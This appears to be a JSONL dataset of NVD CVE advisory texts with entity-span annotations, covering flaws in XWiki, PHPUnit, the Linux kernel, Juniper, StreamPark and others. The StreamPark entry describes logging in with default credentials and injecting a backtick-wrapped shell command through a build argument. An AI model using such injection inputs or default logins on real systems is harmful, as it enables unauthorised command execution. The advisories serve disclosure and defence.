{"text": "XWiki Commons are technical libraries common to several other top level XWiki projects. The RSS macro that is bundled in XWiki included the content of the feed items without any cleaning in the HTML output when the parameter `content` was set to `true`. This allowed arbitrary HTML and in particular also JavaScript injection and thus cross-site scripting (XSS) by specifying an RSS feed with malicious content. With the interaction of a user with programming rights, this could be used to execute arbitrary actions in the wiki, including privilege escalation, remote code execution, information disclosure, modifying or deleting content and sabotaging the wiki. The issue has been patched in XWiki 14.6 RC1, the content of the feed is now properly cleaned before being displayed. As a workaround, if the RSS macro isn't used in the wiki, the macro can be uninstalled by deleting `WEB-INF/lib/xwiki-platform-rendering-macro-rss-XX.jar`, where `XX` is XWiki's version, in the web application's directory.", "spans": {"FILEPATH: /lib/xwiki-platform-rendering-macro-rss-XX.jar": [[888, 934]], "VULNERABILITY: information disclosure": [[584, 606]], "VULNERABILITY: remote code execution": [[561, 582]], "VULNERABILITY: cross-site scripting": [[335, 355]], "VULNERABILITY: privilege escalation": [[539, 559]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-29202"}}
{"text": "PHPUnit is a testing framework for PHP. A vulnerability has been discovered in versions prior to 12.5.8, 11.5.50, 10.5.62, 9.6.33, and 8.5.52 involving unsafe deserialization of code coverage data in PHPT test execution. The vulnerability exists in the `cleanupForCoverage()` method, which deserializes code coverage files without validation, potentially allowing remote code execution if malicious `.coverage` files are present prior to the execution of the PHPT test. The vulnerability occurs when a `.coverage` file, which should not exist before test execution, is deserialized without the `allowed_classes` parameter restriction. An attacker with local file write access can place a malicious serialized object with a `__wakeup()` method into the file system, leading to arbitrary code execution during test runs with code coverage instrumentation enabled. This vulnerability requires local file write access to the location where PHPUnit stores or expects code coverage files for PHPT tests. This can occur through CI/CD pipeline attacks, the local development environment, and/or compromised dependencies. Rather than just silently sanitizing the input via `['allowed_classes' => false]`, the maintainer has chosen to make the anomalous state explicit by treating pre-existing `.coverage` files for PHPT tests as an error condition. Starting in versions  in versions 12.5.8, 11.5.50, 10.5.62, 9.6.33, when a `.coverage` file is detected for a PHPT test prior to execution, PHPUnit will emit a clear error message identifying the anomalous state. Organizations can reduce the effective risk of this vulnerability through proper CI/CD configuration, including ephemeral runners, code review enforcement, branch protection, artifact isolation, and access control.", "spans": {"SYSTEM: PHP": [[35, 38]], "VULNERABILITY: remote code execution": [[364, 385]], "VULNERABILITY: deserialization": [[159, 174]], "VULNERABILITY: code execution": [[786, 800]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-24765"}}
{"text": "A limitless resource allocation vulnerability in FPC resources of Juniper Networks Junos OS Evolved on PTX Series allows an unprivileged attacker to cause Denial of Service (DoS). Continuously polling the SNMP jnxCosQstatTable causes the FPC to run out of GUID space, causing a Denial of Service to the FPC resources. When the FPC runs out of the GUID space, you will see the following syslog messages. The evo-aftmand-bt process is asserting. fpc1 evo-aftmand-bt[17556]: %USER-3: get_next_guid: Ran out of Guid Space start 1748051689472 end 1752346656767 fpc1 audit[17556]: %AUTH-5: ANOM_ABEND auid=4294967295 uid=0 gid=0 ses=4294967295 pid=17556 comm=\"EvoAftManBt-mai\" exe=\"/usr/sbin/evo-aftmand-bt\" sig=6 fpc1 kernel: %KERN-5: audit: type=1701 audit(1648567505.119:57): auid=4294967295 uid=0 gid=0 ses=4294967295 pid=17556 comm=\"EvoAftManBt-mai\" exe=\"/usr/sbin/evo-aftmand-bt\" sig=6 fpc1 emfd-fpa[14438]: %USER-5: Alarm set: APP color=red, class=CHASSIS, reason=Application evo-aftmand-bt fail on node Fpc1 fpc1 emfd-fpa[14438]: %USER-3-EMF_FPA_ALARM_REP: RaiseAlarm: Alarm(Location: /Chassis[0]/Fpc[1] Module: sysman Object: evo-aftmand-bt:0 Error: 2) reported fpc1 sysepochman[12738]: %USER-5-SYSTEM_REBOOT_EVENT: Reboot [node] [ungraceful reboot] [evo-aftmand-bt exited] The FPC resources can be monitored using the following commands: user@router> start shell [vrf:none] user@router-re0:~$ cli -c \"show platform application-info allocations app evo-aftmand-bt\" | grep ^fpc | grep -v Route | grep -i -v Nexthop | awk '{total[$1] += $5} END { for (key in total) { print key \" \" total[key]/4294967296 }}' Once the FPCs become unreachable they must be manually restarted as they do not self-recover. This issue affects Juniper Networks Junos OS Evolved on PTX Series: All versions prior to 20.4R3-S4-EVO; 21.1-EVO version 21.1R1-EVO and later versions; 21.2-EVO version 21.2R1-EVO and later versions; 21.3-EVO versions prior to 21.3R3-EVO; 21.4-EVO versions prior to 21.4R2-EVO; 22.1-EVO versions prior to 22.1R2-EVO.", "spans": {"FILEPATH: /usr/sbin/evo-aftmand-bt": [[676, 700], [854, 878]], "ORGANIZATION: Juniper": [[66, 73], [1722, 1729]], "VULNERABILITY: Denial of Service": [[155, 172], [278, 295]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-22211"}}
{"text": "soroban-sdk is a Rust SDK for Soroban contracts. Prior to versions 22.0.10, 23.5.2, and 25.1.1, the `#[contractimpl]` macro contains a bug in how it wires up function calls. `#[contractimpl]` generates code that uses `MyContract::value()` style calls even when it's processing the trait version. This means if an inherent function is also defined with the same name, the inherent function gets called instead of the trait function. This means the Wasm-exported entry point silently calls the wrong function when two conditions are met simultaneously: First, an `impl Trait for MyContract` block is defined with one or more functions, with `#[contractimpl]` applied. Second, an `impl MyContract` block is defined with one or more identically named functions, without `#[contractimpl]` applied. If the trait version contains important security checks, such as verifying the caller is authorized, that the inherent version does not, those checks are bypassed. Anyone interacting with the contract through its public interface will call the wrong function. The problem is patched in `soroban-sdk-macros` versions 22.0.10, 23.5.2, and 25.1.1. The fix changes the generated call from `<Type>::func()` to `<Type as Trait>::func()` when processing trait implementations, ensuring Rust resolves to the trait associated function regardless of whether an inherent function with the same name exists. Users should upgrade to `soroban-sdk-macros` 22.0.10, 23.5.2, or 25.1.1 and recompile their contracts. If upgrading is not immediately possible, contract developers can avoid the issue by ensuring that no inherent associated function on the contract type shares a name with any function in the trait implementation. Renaming or removing the conflicting inherent function eliminates the ambiguity and causes the macro-generated code to correctly resolve to the trait function.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-26267"}}
{"text": "SpiceDB is an open source, Google Zanzibar-inspired, database system for creating and managing security-critical application permissions. Any user making a negative authorization decision based on the results of a `LookupResources` request with 1.22.0 is affected. For example, using `LookupResources` to find a list of resources to allow access to be okay: some subjects that should have access to a resource may not. But if using `LookupResources` to find a list of banned resources instead, then some users that shouldn't have access may. Generally, `LookupResources` is not and should not be to gate access in this way - that's what the `Check` API is for. Additionally, version 1.22.0 has included a warning about this bug since its initial release. Users are advised to upgrade to version 1.22.2. Users unable to upgrade should avoid using `LookupResources` for negative authorization decisions.", "spans": {"ORGANIZATION: Google": [[27, 33]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-35930"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: x86/hyper-v: Skip non-canonical addresses during PV TLB flush\n\nIn KVM guests with Hyper-V hypercalls enabled, the hypercalls\nHVCALL_FLUSH_VIRTUAL_ADDRESS_LIST and HVCALL_FLUSH_VIRTUAL_ADDRESS_LIST_EX\nallow a guest to request invalidation of portions of a virtual TLB.\nFor this, the hypercall parameter includes a list of GVAs that are supposed\nto be invalidated.\n\nHowever, when non-canonical GVAs are passed, there is currently no\nfiltering in place and they are eventually passed to checked invocations of\nINVVPID on Intel / INVLPGA on AMD.  While AMD's INVLPGA silently ignores\nnon-canonical addresses (effectively a no-op), Intel's INVVPID explicitly\nsignals VM-Fail and ultimately triggers the WARN_ONCE in invvpid_error():\n\n  invvpid failed: ext=0x0 vpid=1 gva=0xaaaaaaaaaaaaa000\n  WARNING: CPU: 6 PID: 326 at arch/x86/kvm/vmx/vmx.c:482\n  invvpid_error+0x91/0xa0 [kvm_intel]\n  Modules linked in: kvm_intel kvm 9pnet_virtio irqbypass fuse\n  CPU: 6 UID: 0 PID: 326 Comm: kvm-vm Not tainted 6.15.0 #14 PREEMPT(voluntary)\n  RIP: 0010:invvpid_error+0x91/0xa0 [kvm_intel]\n  Call Trace:\n    vmx_flush_tlb_gva+0x320/0x490 [kvm_intel]\n    kvm_hv_vcpu_flush_tlb+0x24f/0x4f0 [kvm]\n    kvm_arch_vcpu_ioctl_run+0x3013/0x5810 [kvm]\n\nHyper-V documents that invalid GVAs (those that are beyond a partition's\nGVA space) are to be ignored.  While not completely clear whether this\nruling also applies to non-canonical GVAs, it is likely fine to make that\nassumption, and manual testing on Azure confirms \"real\" Hyper-V interprets\nthe specification in the same way.\n\nSkip non-canonical GVAs when processing the list of address to avoid\ntripping the INVVPID failure.  Alternatively, KVM could filter out \"bad\"\nGVAs before inserting into the FIFO, but practically speaking the only\ndownside of pushing validation to the final processing is that doing so\nis suboptimal for the guest, and no well-behaved guest will request TLB\nflushes for non-canonical addresses.", "spans": {"FILEPATH: /x86/kvm/vmx/vmx.c": [[893, 911]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: KVM": [[69, 72], [140, 143], [1742, 1745]], "ORGANIZATION: Intel": [[592, 597], [701, 706]], "ORGANIZATION: AMD": [[611, 614], [623, 626]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38351"}}
{"text": "Guzzle is an open source PHP HTTP client. In affected versions `Authorization` headers on requests are sensitive information. On making a request using the `https` scheme to a server which responds with a redirect to a URI with the `http` scheme, we should not forward the `Authorization` header on. This is much the same as to how we don't forward on the header if the host changes. Prior to this fix, `https` to `http` downgrades did not result in the `Authorization` header being removed, only changes to the host. Affected Guzzle 7 users should upgrade to Guzzle 7.4.4 as soon as possible. Affected users using any earlier series of Guzzle should upgrade to Guzzle 6.5.7 or 7.4.4. Users unable to upgrade may consider an alternative approach which would be to use their own redirect middleware. Alternately users may simply disable redirects all together if redirects are not expected or required.", "spans": {"SYSTEM: PHP": [[25, 28]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-31043"}}
{"text": "SiYuan is a personal knowledge management system. In versions 3.6.0 and below, the mobile file tree (MobileFiles.ts) renders notebook names via innerHTML without HTML escaping when processing renamenotebook WebSocket events. The desktop version (Files.ts) properly uses escapeHtml() for the same operation. An authenticated user who can rename notebooks can inject arbitrary HTML/JavaScript that executes on any mobile client viewing the file tree. Since Electron is configured with nodeIntegration: true and contextIsolation: false, the injected JavaScript has full Node.js access, escalating stored XSS to full remote code execution. The mobile layout is also used in the Electron desktop app when the window is narrow, making this exploitable on desktop as well. This issue has been fixed in version 3.6.1.", "spans": {"FILEPATH: Node.js": [[567, 574]], "VULNERABILITY: remote code execution": [[613, 634]], "VULNERABILITY: stored XSS": [[594, 604]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-32751"}}
{"text": "OAuthenticator is an OAuth token library for the JupyerHub login handler. CILogonOAuthenticator is provided by the OAuthenticator package, and lets users log in to a JupyterHub via CILogon. This is primarily used to restrict a JupyterHub only to users of a given institute. The allowed_idps configuration trait of CILogonOAuthenticator is documented to be a list of domains that indicate the institutions whose users are authorized to access this JupyterHub. This authorization is validated by ensuring that the *email* field provided to us by CILogon has a *domain* that matches one of the domains listed in `allowed_idps`.If `allowed_idps` contains `berkeley.edu`, you might expect only users with valid current credentials provided by University of California, Berkeley to be able to access the JupyterHub. However, CILogonOAuthenticator does *not* verify which provider is used by the user to login, only the email address provided. So a user can login with a GitHub account that has email set to `<something>@berkeley.edu`, and that will be treated exactly the same as someone logging in using the UC Berkeley official Identity Provider. The patch fixing this issue makes a *breaking change* in how `allowed_idps` is interpreted. It's no longer a list of domains, but configuration representing the `EntityID` of the IdPs that are allowed, picked from the [list maintained by CILogon](https://cilogon.org/idplist/). Users are advised to upgrade.", "spans": {"URL: https://cilogon.org/idplist/": [[1390, 1418]], "DOMAIN: berkeley.edu": [[652, 664], [1014, 1026]], "ORGANIZATION: GitHub": [[964, 970]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-31027"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\npid: Add a judgment for ns null in pid_nr_ns\n\n__task_pid_nr_ns\n        ns = task_active_pid_ns(current);\n        pid_nr_ns(rcu_dereference(*task_pid_ptr(task, type)), ns);\n                if (pid && ns->level <= pid->level) {\n\nSometimes null is returned for task_active_pid_ns. Then it will trigger kernel panic in pid_nr_ns.\n\nFor example:\n\tUnable to handle kernel NULL pointer dereference at virtual address 0000000000000058\n\tMem abort info:\n\tESR = 0x0000000096000007\n\tEC = 0x25: DABT (current EL), IL = 32 bits\n\tSET = 0, FnV = 0\n\tEA = 0, S1PTW = 0\n\tFSC = 0x07: level 3 translation fault\n\tData abort info:\n\tISV = 0, ISS = 0x00000007, ISS2 = 0x00000000\n\tCM = 0, WnR = 0, TnD = 0, TagAccess = 0\n\tGCS = 0, Overlay = 0, DirtyBit = 0, Xs = 0\n\tuser pgtable: 4k pages, 39-bit VAs, pgdp=00000002175aa000\n\t[0000000000000058] pgd=08000002175ab003, p4d=08000002175ab003, pud=08000002175ab003, pmd=08000002175be003, pte=0000000000000000\n\tpstate: 834000c5 (Nzcv daIF +PAN -UAO +TCO +DIT -SSBS BTYPE=--)\n\tpc : __task_pid_nr_ns+0x74/0xd0\n\tlr : __task_pid_nr_ns+0x24/0xd0\n\tsp : ffffffc08001bd10\n\tx29: ffffffc08001bd10 x28: ffffffd4422b2000 x27: 0000000000000001\n\tx26: ffffffd442821168 x25: ffffffd442821000 x24: 00000f89492eab31\n\tx23: 00000000000000c0 x22: ffffff806f5693c0 x21: ffffff806f5693c0\n\tx20: 0000000000000001 x19: 0000000000000000 x18: 0000000000000000\n\tx17: 00000000529c6ef0 x16: 00000000529c6ef0 x15: 00000000023a1adc\n\tx14: 0000000000000003 x13: 00000000007ef6d8 x12: 001167c391c78800\n\tx11: 00ffffffffffffff x10: 0000000000000000 x9 : 0000000000000001\n\tx8 : ffffff80816fa3c0 x7 : 0000000000000000 x6 : 49534d702d535449\n\tx5 : ffffffc080c4c2c0 x4 : ffffffd43ee128c8 x3 : ffffffd43ee124dc\n\tx2 : 0000000000000000 x1 : 0000000000000001 x0 : ffffff806f5693c0\n\tCall trace:\n\t__task_pid_nr_ns+0x74/0xd0\n\t...\n\t__handle_irq_event_percpu+0xd4/0x284\n\thandle_irq_event+0x48/0xb0\n\thandle_fasteoi_irq+0x160/0x2d8\n\tgeneric_handle_domain_irq+0x44/0x60\n\tgic_handle_irq+0x4c/0x114\n\tcall_on_irq_stack+0x3c/0x74\n\tdo_interrupt_handler+0x4c/0x84\n\tel1_interrupt+0x34/0x58\n\tel1h_64_irq_handler+0x18/0x24\n\tel1h_64_irq+0x68/0x6c\n\taccount_kernel_stack+0x60/0x144\n\texit_task_stack_account+0x1c/0x80\n\tdo_exit+0x7e4/0xaf8\n\t...\n\tget_signal+0x7bc/0x8d8\n\tdo_notify_resume+0x128/0x828\n\tel0_svc+0x6c/0x70\n\tel0t_64_sync_handler+0x68/0xbc\n\tel0t_64_sync+0x1a8/0x1ac\n\tCode: 35fffe54 911a02a8 f9400108 b4000128 (b9405a69)\n\t---[ end trace 0000000000000000 ]---\n\tKernel panic - not syncing: Oops: Fatal exception in interrupt", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[434, 458]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-40178"}}
{"text": "A vulnerability ( CVE-2025-21176 https://www.cve.org/CVERecord ) exists in DiaSymReader.dll due to buffer over-read.\n\n Per  CWE-126: Buffer Over-read https://cwe.mitre.org/data/definitions/126.html , Buffer Over-read is when a product reads from a buffer using buffer access mechanisms such as indexes or pointers that reference memory locations after the targeted buffer.\n\n  This issue affects EOL ASP.NET 6.0.0 <= 6.0.36 as represented in this CVE, as well as 8.0.0 <= 8.0.11 & <= 9.0.0 as represented in CVE-2025-21176.\n\n \n\n Additionally, if you've deployed  self-contained applications https://docs.microsoft.com/dotnet/core/deploying/#self-contained-deployments-scd  targeting any of the impacted versions, these applications are also vulnerable and must be recompiled and redeployed.\n\n NOTE: This CVE affects only End Of Life (EOL) software components. The vendor, Microsoft, has indicated there will be no future updates nor support provided upon inquiry.", "spans": {"CVE_ID: CVE-2025-21176": [[18, 32], [507, 521]], "URL: https://www.cve.org/CVERecord": [[33, 62]], "URL: https://cwe.mitre.org/data/definitions/126.html": [[150, 197]], "URL: https://docs.microsoft.com/dotnet/core/deploying/#self-contained-deployments-scd": [[590, 670]], "ORGANIZATION: Microsoft": [[871, 880]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-36855"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: batman-adv: fix error handling\n\nSyzbot reported ODEBUG warning in batadv_nc_mesh_free(). The problem was\nin wrong error handling in batadv_mesh_init().\n\nBefore this patch batadv_mesh_init() was calling batadv_mesh_free() in case\nof any batadv_*_init() calls failure. This approach may work well, when\nthere is some kind of indicator, which can tell which parts of batadv are\ninitialized; but there isn't any.\n\nAll written above lead to cleaning up uninitialized fields. Even if we hide\nODEBUG warning by initializing bat_priv->nc.work, syzbot was able to hit\nGPF in batadv_nc_purge_paths(), because hash pointer in still NULL. [1]\n\nTo fix these bugs we can unwind batadv_*_init() calls one by one.\nIt is good approach for 2 reasons: 1) It fixes bugs on error handling\npath 2) It improves the performance, since we won't call unneeded\nbatadv_*_free() functions.\n\nSo, this patch makes all batadv_*_init() clean up all allocated memory\nbefore returning with an error to no call correspoing batadv_*_free()\nand open-codes batadv_mesh_free() with proper order to avoid touching\nuninitialized fields.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47482"}}
{"text": "Contour is a Kubernetes ingress controller using Envoy proxy. In Contour before version 1.17.1 a specially crafted ExternalName type Service may be used to access Envoy's admin interface, which Contour normally prevents from access outside the Envoy container. This can be used to shut down Envoy remotely (a denial of service), or to expose the existence of any Secret that Envoy is using for its configuration, including most notably TLS Keypairs. However, it *cannot* be used to get the *content* of those secrets. Since this attack allows access to the administration interface, a variety of administration options are available, such as shutting down the Envoy or draining traffic. In general, the Envoy admin interface cannot easily be used for making changes to the cluster, in-flight requests, or backend services, but it could be used to shut down or drain Envoy, change traffic routing, or to retrieve secret metadata, as mentioned above. The issue will be addressed in Contour v1.18.0 and a cherry-picked patch release, v1.17.1, has been released to cover users who cannot upgrade at this time. For more details refer to the linked GitHub Security Advisory.", "spans": {"SYSTEM: Kubernetes": [[13, 23]], "ORGANIZATION: GitHub": [[1143, 1149]], "VULNERABILITY: denial of service": [[309, 326]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-32783"}}
{"text": "PsiTransfer is an open source, self-hosted file sharing solution. Prior to version 2.2.0, the absence of restrictions on the endpoint, which allows users to create a path for uploading a file in a file distribution, allows an attacker to add arbitrary files to the distribution. The vulnerability allows an attacker to influence those users who come to the file distribution after them and slip the victim files with a malicious or phishing signature. Version 2.2.0 contains a patch for the issue.\n\nCVE-2024-31453 allows users to violate the integrity of a file bucket and upload new files there, while the vulnerability with the number CVE-2024-31454 allows users to violate the integrity of a single file that is uploaded by another user by writing data there and not allows you to upload new files to the bucket. Thus, vulnerabilities are reproduced differently, require different security recommendations and affect different objects of the application’s business logic.", "spans": {"CVE_ID: CVE-2024-31453": [[499, 513]], "CVE_ID: CVE-2024-31454": [[637, 651]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-31453"}}
{"text": "In streampark, the project module integrates Maven's compilation capabilities. The input parameter validation is not strict, allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low.\n\nMitigation:\n\nall users should upgrade to 2.1.4\n\nBackground info:\n\nLog in to Streampark using the default username (e.g. test1, test2, test3) and the default password (streampark). Navigate to the Project module, then add a new project. Enter the git repository address of the project and input `touch /tmp/success_2.1.2` as the \"Build Argument\". Note that there is no verification and interception of the special character \"`\". As a result, you will find that this injection command will be successfully executed after executing the build.\n\nIn the latest version, the special symbol ` is intercepted.", "spans": {"FILEPATH: /tmp/success_2.1.2": [[827, 845]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-29737"}}
{"text": "continuwuity is a Matrix homeserver written in Rust. This vulnerability allows an attacker with a malicious remote server to cause the local server to sign an arbitrary event upon user interaction. Upon a user account leaving a room (rejecting an invite), joining a room or knocking on a room, the victim server may ask a remote server for assistance. If the victim asks the attacker server for assistance the attacker is able to provide an arbitrary event, which the victim will sign and return to the attacker. For the /leave endpoint, this works for any event with a supported room version, where the origin and origin_server_ts is set by the victim. For the /join endpoint, an additionally victim-set content field in the format of a join membership is needed. For the /knock endpoint, an additional victim-set content field in the format of a knock membership and a room version not between 1 and 6 is needed. This was exploited as a part of a larger chain against the continuwuity.org homeserver. This vulnerability affects all Conduit-derived servers. This vulnerability is fixed in Continuwuity 0.5.1, Conduit 0.10.11, Grapevine 0aae932b, and Tuwunel 1.4.9.", "spans": {"DOMAIN: continuwuity.org": [[974, 990]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-24471"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nvduse: Fix NULL pointer dereference on sysfs access\n\nThe control device has no drvdata. So we will get a\nNULL pointer dereference when accessing control\ndevice's msg_timeout attribute via sysfs:\n\n[ 132.841881][ T3644] BUG: kernel NULL pointer dereference, address: 00000000000000f8\n[ 132.850619][ T3644] RIP: 0010:msg_timeout_show (drivers/vdpa/vdpa_user/vduse_dev.c:1271)\n[ 132.869447][ T3644] dev_attr_show (drivers/base/core.c:2094)\n[ 132.870215][ T3644] sysfs_kf_seq_show (fs/sysfs/file.c:59)\n[ 132.871164][ T3644] ? device_remove_bin_file (drivers/base/core.c:2088)\n[ 132.872082][ T3644] kernfs_seq_show (fs/kernfs/file.c:164)\n[ 132.872838][ T3644] seq_read_iter (fs/seq_file.c:230)\n[ 132.873578][ T3644] ? __vmalloc_area_node (mm/vmalloc.c:3041)\n[ 132.874532][ T3644] kernfs_fop_read_iter (fs/kernfs/file.c:238)\n[ 132.875513][ T3644] __kernel_read (fs/read_write.c:440 (discriminator 1))\n[ 132.876319][ T3644] kernel_read (fs/read_write.c:459)\n[ 132.877129][ T3644] kernel_read_file (fs/kernel_read_file.c:94)\n[ 132.877978][ T3644] kernel_read_file_from_fd (include/linux/file.h:45 fs/kernel_read_file.c:186)\n[ 132.879019][ T3644] __do_sys_finit_module (kernel/module.c:4207)\n[ 132.879930][ T3644] __ia32_sys_finit_module (kernel/module.c:4189)\n[ 132.880930][ T3644] do_int80_syscall_32 (arch/x86/entry/common.c:112 arch/x86/entry/common.c:132)\n[ 132.881847][ T3644] entry_INT80_compat (arch/x86/entry/entry_64_compat.S:419)\n\nTo fix it, don't create the unneeded attribute for\ncontrol device anymore.", "spans": {"FILEPATH: /vdpa/vdpa_user/vduse_dev.c": [[408, 435]], "FILEPATH: /base/core.c": [[486, 498], [621, 633]], "FILEPATH: /sysfs/file.c": [[548, 561]], "FILEPATH: /kernfs/file.c": [[681, 695], [867, 881]], "FILEPATH: /linux/file.h": [[1140, 1153]], "FILEPATH: /x86/entry/common.c": [[1367, 1386], [1395, 1414]], "FILEPATH: /x86/entry/entry_64_compat.S": [[1466, 1494]], "FILEPATH: seq_file.c": [[741, 751]], "FILEPATH: vmalloc.c": [[805, 814]], "FILEPATH: read_write.c": [[927, 939], [1001, 1013]], "FILEPATH: kernel_read_file.c": [[1062, 1080], [1160, 1178]], "FILEPATH: module.c": [[1236, 1244], [1305, 1313]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[80, 104], [174, 198], [299, 323]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49329"}}
{"text": "A vulnerability has been identified in RUGGEDCOM i800 (All versions < V4.3.8), RUGGEDCOM i801 (All versions < V4.3.8), RUGGEDCOM i802 (All versions < V4.3.8), RUGGEDCOM i803 (All versions < V4.3.8), RUGGEDCOM M2100 (All versions < V4.3.8), RUGGEDCOM M2200 (All versions < V4.3.8), RUGGEDCOM M969 (All versions < V4.3.8), RUGGEDCOM RMC30 (All versions < V4.3.8), RUGGEDCOM RMC8388 V4.X (All versions < V4.3.8), RUGGEDCOM RMC8388 V5.X (All versions < V5.7.0), RUGGEDCOM RP110 (All versions < V4.3.8), RUGGEDCOM RS1600 (All versions < V4.3.8), RUGGEDCOM RS1600F (All versions < V4.3.8), RUGGEDCOM RS1600T (All versions < V4.3.8), RUGGEDCOM RS400 (All versions < V4.3.8), RUGGEDCOM RS401 (All versions < V4.3.8), RUGGEDCOM RS416 (All versions < V4.3.8), RUGGEDCOM RS416P (All versions < V4.3.8), RUGGEDCOM RS416Pv2 V4.X (All versions < V4.3.8), RUGGEDCOM RS416Pv2 V5.X (All versions < V5.7.0), RUGGEDCOM RS416v2 V4.X (All versions < V4.3.8), RUGGEDCOM RS416v2 V5.X (All versions < V5.7.0), RUGGEDCOM RS8000 (All versions < V4.3.8), RUGGEDCOM RS8000A (All versions < V4.3.8), RUGGEDCOM RS8000H (All versions < V4.3.8), RUGGEDCOM RS8000T (All versions < V4.3.8), RUGGEDCOM RS900 (All versions < V4.3.8), RUGGEDCOM RS900 (32M) V4.X (All versions < V4.3.8), RUGGEDCOM RS900 (32M) V5.X (All versions < V5.7.0), RUGGEDCOM RS900G (All versions < V4.3.8), RUGGEDCOM RS900G (32M) V4.X (All versions < V4.3.8), RUGGEDCOM RS900G (32M) V5.X (All versions < V5.7.0), RUGGEDCOM RS900GP (All versions < V4.3.8), RUGGEDCOM RS900L (All versions < V4.3.8), RUGGEDCOM RS900M-GETS-C01 (All versions < V4.3.8), RUGGEDCOM RS900M-GETS-XX (All versions < V4.3.8), RUGGEDCOM RS900M-STND-C01 (All versions < V4.3.8), RUGGEDCOM RS900M-STND-XX (All versions < V4.3.8), RUGGEDCOM RS900W (All versions < V4.3.8), RUGGEDCOM RS910 (All versions < V4.3.8), RUGGEDCOM RS910L (All versions < V4.3.8), RUGGEDCOM RS910W (All versions < V4.3.8), RUGGEDCOM RS920L (All versions < V4.3.8), RUGGEDCOM RS920W (All versions < V4.3.8), RUGGEDCOM RS930L (All versions < V4.3.8), RUGGEDCOM RS930W (All versions < V4.3.8), RUGGEDCOM RS940G (All versions < V4.3.8), RUGGEDCOM RS969 (All versions < V4.3.8), RUGGEDCOM RSG2100 (All versions < V4.3.8), RUGGEDCOM RSG2100 (32M) V4.X (All versions < V4.3.8), RUGGEDCOM RSG2100 (32M) V5.X (All versions < V5.7.0), RUGGEDCOM RSG2100P (All versions < V4.3.8), RUGGEDCOM RSG2100P (32M) V4.X (All versions < V4.3.8), RUGGEDCOM RSG2100P (32M) V5.X (All versions < V5.7.0), RUGGEDCOM RSG2200 (All versions < V4.3.8), RUGGEDCOM RSG2288 V4.X (All versions < V4.3.8), RUGGEDCOM RSG2288 V5.X (All versions < V5.7.0), RUGGEDCOM RSG2300 V4.X (All versions < V4.3.8), RUGGEDCOM RSG2300 V5.X (All versions < V5.7.0), RUGGEDCOM RSG2300P V4.X (All versions < V4.3.8), RUGGEDCOM RSG2300P V5.X (All versions < V5.7.0), RUGGEDCOM RSG2488 V4.X (All versions < V4.3.8), RUGGEDCOM RSG2488 V5.X (All versions < V5.7.0), RUGGEDCOM RSG907R (All versions < V5.7.0), RUGGEDCOM RSG908C (All versions < V5.7.0), RUGGEDCOM RSG909R (All versions < V5.7.0), RUGGEDCOM RSG910C (All versions < V5.7.0), RUGGEDCOM RSG920P V4.X (All versions < V4.3.8), RUGGEDCOM RSG920P V5.X (All versions < V5.7.0), RUGGEDCOM RSL910 (All versions < V5.7.0), RUGGEDCOM RST2228 (All versions < V5.7.0), RUGGEDCOM RST2228P (All versions < V5.7.0), RUGGEDCOM RST916C (All versions < V5.7.0), RUGGEDCOM RST916P (All versions < V5.7.0). The SSH server on affected devices is configured to offer weak ciphers by default.\r\n\r\nThis could allow an unauthorized attacker in a man-in-the-middle position to read and modify any data passed over the connection between legitimate clients and the affected device.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-37209"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nata: libata-transport: fix double ata_host_put() in ata_tport_add()\n\nIn the error path in ata_tport_add(), when calling put_device(),\nata_tport_release() is called, it will put the refcount of 'ap->host'.\n\nAnd then ata_host_put() is called again, the refcount is decreased\nto 0, ata_host_release() is called, all ports are freed and set to\nnull.\n\nWhen unbinding the device after failure, ata_host_stop() is called\nto release the resources, it leads a null-ptr-deref(), because all\nthe ports all freed and null.\n\nUnable to handle kernel NULL pointer dereference at virtual address 0000000000000008\nCPU: 7 PID: 18671 Comm: modprobe Kdump: loaded Tainted: G            E      6.1.0-rc3+ #8\npstate: 80400009 (Nzcv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--)\npc : ata_host_stop+0x3c/0x84 [libata]\nlr : release_nodes+0x64/0xd0\nCall trace:\n ata_host_stop+0x3c/0x84 [libata]\n release_nodes+0x64/0xd0\n devres_release_all+0xbc/0x1b0\n device_unbind_cleanup+0x20/0x70\n really_probe+0x158/0x320\n __driver_probe_device+0x84/0x120\n driver_probe_device+0x44/0x120\n __driver_attach+0xb4/0x220\n bus_for_each_dev+0x78/0xdc\n driver_attach+0x2c/0x40\n bus_add_driver+0x184/0x240\n driver_register+0x80/0x13c\n __pci_register_driver+0x4c/0x60\n ahci_pci_driver_init+0x30/0x1000 [ahci]\n\nFix this by removing redundant ata_host_put() in the error path.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[605, 629]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49826"}}
